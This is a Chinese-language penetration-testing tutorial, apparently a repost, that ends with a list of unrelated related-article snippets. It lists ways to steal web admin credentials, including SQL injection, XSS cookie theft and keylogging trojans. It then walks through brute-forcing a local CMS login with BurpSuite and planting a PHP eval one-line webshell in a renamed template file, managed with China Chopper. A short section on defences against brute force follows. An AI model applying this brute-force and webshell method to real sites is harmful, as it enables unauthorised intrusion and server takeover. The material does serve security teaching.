web后台登录口令暴力破解及防御

news/2024/11/24 7:08:29/

在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等。前台用户可以自由注册,而后台是网站管理或者维护人员设定,渗透中如果能够拿到后台管理员帐号及密码,则意味着离获取webshell权限更进一步了。
1.1web后台账号及密码获取思路
1.通过sql注入获取后台账号及密码
如果网站存在sql注入漏洞,则可以通过sqlmap等工具进行漏洞测试,通过dump命令来获取整个数据库或者某个表中的数据。
2.通过跨站获取管理员帐号及密码
在前台页面中插入xss代码,通过xss平台接收。当管理员访问存在跨站页面时,会将网站管理员登录的cookie值等信息传回到xss平台,有的还可以直接获取管理员账号及密码。xss平台可以自己搭建,也可以使用网上公开的平台,例如http://xsspt.com/index.php?do=login、http://imxss.com/等。
3.通过暴力破解获取管理员帐号及密码
目前有一些工具支持后台账号及密码暴力破解,例如BurpSuite等,在本文后面会重点介绍使用BurpSuite进行后台账号及密码暴力破解。
4.通过获取数据库备份文件
有些网站由于管理失误,将数据库打包放在网站根目录,或者数据库备份文件存在于某个目录,通过目录泄露及浏览等漏洞可以直接获取数据库备份文件。在本地将其还原后,即可获取所有数据。
5.嗅探获取
对C段服务器进行渗透,或者对该目标CMS所在网络进行渗透,渗透成功后,通过Cain等工具对目标CMS的登录后台用户及口令进行嗅探。
6.其它方法
如果知道管理员的信息,可以给管理员发送木马程序,诱使其执行,控制其个人计算机后,可以通过键盘记录等方法来获取管理员账号及口令。当然也有可能管理员IE等浏览器会保存登录账号及口令。
1.2设置BurpSuite进行网站后台破解
1.启动BurpSuite
本次使用PentestBox中的BurpSuite,在PentestBox目录下启动PentestBox.exe程序,然后cd D:\PentestBox\bin\BurpSuite目录,执行java -jar BurpSuite.jar即可启动BurpSuite程序,如图1所示,注意执行cd命令后,使用“d:”切换到d盘当前目录,否则无法启动。pentestbox 是一个综合漏洞测试平台,跟kali比较类似,其官方站点:https://pentestbox.org/zh/,运行环境为Windows。
在这里插入图片描述

图1启动BurpSuite
2.BurpSuite启动设置
BurpSuite的启动设置比较简单,单击“Next”及“Start burp”即可,如果是专业版则需要注册码,也即需要注册许可进行注册才能使用专业版功能。
3设置IE等浏览器代理
(1)设置Chrome代理
在Chrome浏览器中单击“设置”-“高级”-“系统”-“打开代理”,在“Internet属性”窗口中单击“局域网设置”,在局域网设置窗口的代理服务器中分别设置地址127.0.0.1,端口为8080,如图2所示,同时单击“高级”设置对所有协议均使用相同的代理服务器。
在这里插入图片描述

图2设置浏览器代理
(2)设置BurpSuite代理
单击“Proxy”-“Options”,如图3所示,设置“Interface”值为127.0.0.1:8080,默认情况下不需要进行修改。
在这里插入图片描述

图3设置BurpSuite
1.3测试前准备工作

  1. comsenz测试平台
    测试平台选择在Windows下安装comsenz (官方网站:http://www.comsenz.com/)程序下载地址:http://download2.comsenz.com/ComsenzEXP/x2.5/ComsenzEXP_X25GBK.exe,下载后执行安装即可,安装完毕后记住MySQL数据库root账号的密码(默认为1111111),然后将其代码所在全部文件移除到其他文件目录。例如本例安装D:\ComsenzEXP\wwwroot,则需要将wwwroot下所有文件剪切到其它位置。
    2.测试cms系统
    测试cms系统选择稻草人cms系统,下载地址http://www.dcrcms.com/news.php?id=2,选择1.0.5版本即可。下载地址:http://www.dcrcms.com/uploads/program/dcr_qy(gbk)_1.0.5.1.rar。将该cms压缩包解压后,全部复制到D:\ComsenzEXP\wwwroot目录,然后在浏览器中打开http://127.0.0.1进行cms安装,根据提示即可完成安装,在安装前需要创建一个数据库,例如dcr,安装完成后,第一次使用默认密码admin/admin进行登录,将admin密码修改为abc123。
    3.在浏览器中使用随机密码进行登录
    如图4所示,打开地址http://127.0.0.1/dcr_qy(utf)_1.0.5/dcr/login.htm,在用户名及密码中分别输入admin/admin进行登录,登录结果显示“您输入的用户名或密码,请重新输入”,完成一次交互登录,由于是错误的密码,因此未能进入后台,由于安装程序的编码版本不一样,有些可能会显示乱码。
    在这里插入图片描述

图4完成一次交互登录
1.4使用BurpSuite进行暴力破解
1放行数据包
单击“Proxy”-“Intercept”,如图5所示,单击“Forward”放行数据包通过,单击“Drop”丢弃抓包数据,如果设置“Intercept is off”则不用进行放行操作。在设置浏览器代理时一定要查看本地地址,如果对本地进行测试,则需要进行清除,也即所有地址全部使用代理,否则访问测试网站地址后在BurpSuite中没有数据包。
在这里插入图片描述

图5设置数据库包交互
2.查看抓包情况
在BurpSuite中单击“HTTP History”,如图6所示,可以看到第3条历史为本次测试数据,选中该记录右键单击选择“Send to Intruder”。
在这里插入图片描述

图6查看抓包情况
3设置 Intruder
(1)设置变量§
在 Intruder中对“username=§admin§&password=§admin§&admin_yz=§5781§&x=§37§&y=§9§”进行设置,设置其值为:username=admin&password=§admin§&admin_yz=5781&x=37&y=9,如图7所示,也即去掉username前的变量§以及x=37&y=9中的变量§,添加与去掉§变量,在BurpSuite的右方单击“Add §”及“Clear §”按钮即可。测试变量时一定仅仅保持password的变量,对cookie等中的变量也全部去除掉。
在这里插入图片描述

图7设置变量§
(2)设置字典
单击“Payloads”,在其中设置如图8所示,单击“Load”装载密码字典。Payload Sets中设置为“1”,“Simple list”,密码个数为3018。
在这里插入图片描述

图8设置字典
(3)捕获出错信息
经过提交错误的密码后,其浏览器会反馈一个结果,如图9所示,将其复制到剪贴板中,“鎮ㄨ緭鍏ョ殑鐢ㄦ埛鍚嶆垨瀵嗙爜锛岃閲嶆柊杈撳叆”信息值用来判断密码登录出错的反馈值。
在这里插入图片描述

图9捕获出错信息
(4)设置错误反馈Flag
在Intruder窗口单击“Options”,在Add右边的输入框中粘帖刚才复制的值“鎮ㄨ緭鍏ョ殑鐢ㄦ埛鍚嶆垨瀵嗙爜锛岃閲嶆柊杈撳叆”,如图10所示,该值一定是原始值。
在这里插入图片描述

图10设置错误反馈值
4.执行暴力破解
在Intruder中,单击“Target”-“Start attack”后,会弹出一个警示窗口,确定即可,如图11所示,BurpSuite将会根据设置进行暴力破解。
在这里插入图片描述

图11执行暴力破解
5.查看暴力破解结果
在BurpSuite破解结束后,可以对Length进行排序,如图12所示,显示长度不一致的结果即为破解成功的记录,在本案例中有两个密码,其密码分别为18和39位,均为破解成功,也即密码为abc123。
在这里插入图片描述

图12破解后台密码
6.成功登录后台
重新使用admin/abc123进行登录,如图13所示,成功登录后台。
在这里插入图片描述

图13成功登录后台
1.5后台获取webshell
1.文件模板管理
如图14所示,单击“模板管理”-“模板文件管理器”,可以对其中的模板文件进行编辑以及改名等操作。
在这里插入图片描述

图14文件模板管理
2.模板文件插入一句话后门代码
在模板文件管理器中选择left.html网页模板文件,如图15所示,在其中粘帖一句话后门代码:<?php @eval($_POST['chopper2012']);?>,单击“修改”,保存模板文件。
在这里插入图片描述

图15在模板文件中插入一句话后门
3.重命名模板文件
如图16所示,将原文件名更名为left.php,保存修改;在有些情况下,可能无法进行模板重命名为脚本文件,如果网站服务器存在IIS等解析漏洞,则可以使用1.asp;.html类似名称来命名。
在这里插入图片描述

图16重命名模板文件
4.获取webshell
(1)获取webshell地址
回到文件管理器中,直接打开left.php链接地址,如图17所示,获取其真实的url地址:http://127.0.0.1/dcr_qy(utf)_1.0.5/templets/default/left.php,该地址为一句话后门地址,密码为chopper2012。
在这里插入图片描述

图17获取webshell地址
(2)使用中国菜刀一句话后门程序管理webshell
如图18所示,在中国菜刀后门一句话管理程序中新增一条记录,密码为chopper2012,双击新增webshell记录,成功获取webshell。
在这里插入图片描述

图18获取webshell
说明:由于是在本机搭建的平台,因此http://127.0.0.1/dcr_qy(utf)_1.0.5/dcr/login.htm跟http://192.168.1.191/dcr_qy(utf)_1.0.5/dcr/login.htm为同一套系统,后面是使用IP地址进行访问,前面是通用本机本地测试IP地址。
1.6总结及其暴力破解防御
1.使用BurpSuite进行后台密码暴力破解总结
(1)BurpSuite暴力破解的成功取决于字典的有效。
(2)对于渗透中通过扫描获取的后台地址,可以通过本文的方法来进行测试。
(3)测试前需要收集和准备密码字典文件,可以使用泄露top 10000等密码来做字典,对于公司则可以单独生成字典,例如公司名称+日期等。
2.密码暴力破解安全防范
(1)根据前面的破解过程及思路,设置强密码,使破解的时间成本较长,一般不容易被破解。
(2)修改默认后台管理员账号名称,例如修改admin为my_admin等。
(3)对后台登陆IP地址进行授权管理,非授权IP禁止访问。
(4)对后台登录IP跟MAC地址绑定,因为后台管理人员是已知的,因此可以通过程序来设置只有MAC地址等信息匹配才能进行后台管理,有的后台甚至设置了多次安全验证,比如手机短信验证,动态key等。


http://www.ppmy.cn/news/883717.html

相关文章

ingress之503问题

ingress之503问题 背景&#xff1a; 部署好应用服务(nsyai-test名称空间下)后&#xff0c;通过ingress做七层反代&#xff0c;浏览器访问域名一直出现503的错误&#xff0c;其中30086端口为ingress-controller控制器nodeport型service端口 问题&#xff1a; 网上查看发现是不…

STC系列单片机和MacOS/Linux下载程序

STC系列单片机简介 stc89系列&#xff1a;传统单片机&#xff0c;一条指令一般至少12个时钟周期&#xff0c;12/24/48不等&#xff1b;具有外部中断、定时器、UART功能&#xff0c;时钟频率支持0-42M&#xff1b; stc12系列&#xff1a;高速单片机&#xff0c;很多型号支持内部…

React懒加载/动态加载(Suspense +lazy())简单实例

页面嵌套 两种页面嵌套的方式&#xff0c;一种是父子组件&#xff0c;一种是懒加载1、父子组件&#xff08;可略&#xff0c;只用来做例子对比&#xff09;2、使用懒加载 两种页面嵌套的方式&#xff0c;一种是父子组件&#xff0c;一种是懒加载 1、原本需要用父子组件来实现页…

【专题速递】在线K歌、云化XR、咔嚓剪辑和FFmpeg直播能力更新计划

// 在线K歌的技术方案选型有哪些&#xff1f;对于沉浸式XR我们又有什么新的思考&#xff1f;高性能低依赖的剪辑视频需要具备什么技术&#xff1f;7月29日LiveVideoStackCon2023上海站客户端体验与性能优化专场&#xff0c;为您解答。 客户端体验与性能优化 客户端作为直接面…

python编程课后练习(一)

变量的命名和使用 1、简单打印&#xff1a;将一条消息存储到变量中&#xff0c;并将其打印出来 news “Hello, python, nice to meet you!” print(news) 2、多条简单消息&#xff1a;将一条消息存储在变量中&#xff0c;并将其打印出来&#xff1b;再将变量的值修改为一条新…

java 电子邮件 received:头文件,奇怪的事情发生在gmail头文件和外部帐户中

在我的网站上有一个表格可以订阅我的通讯。该表单通过POST方法将用户的电子邮件发送到URL(nicetomeetyou.php)。在这个URL中&#xff0c;我有以下代码&#xff1a; $email $_POST[email]; $subject "¡Welcome to My World!"; // Set content-type header for …

驼峰命名day(44)

题目描述&#xff1a; 从C/C转到Java的程序员&#xff0c;一开始最不习惯的就是变量命名方式的改变。C语言风格使用下划线分隔多个单词&#xff0c;例如“hello_world”&#xff1b;而Java则采用一种叫骆驼命名法的规则&#xff1a;除首个单词以外&#xff0c;所有单词的首字母…

解读第一个C++程序

与学习C语言一样&#xff0c;开头一定先给大家介绍一下C&#xff0c;看看第一个简单的C程序到底长什么样子&#xff0c;初步了解C&#xff0c;请看如下代码&#xff1a; 1 2 3 4 5 6 7 #include<iostream> using namespace std; int main() { cout<<"Nic…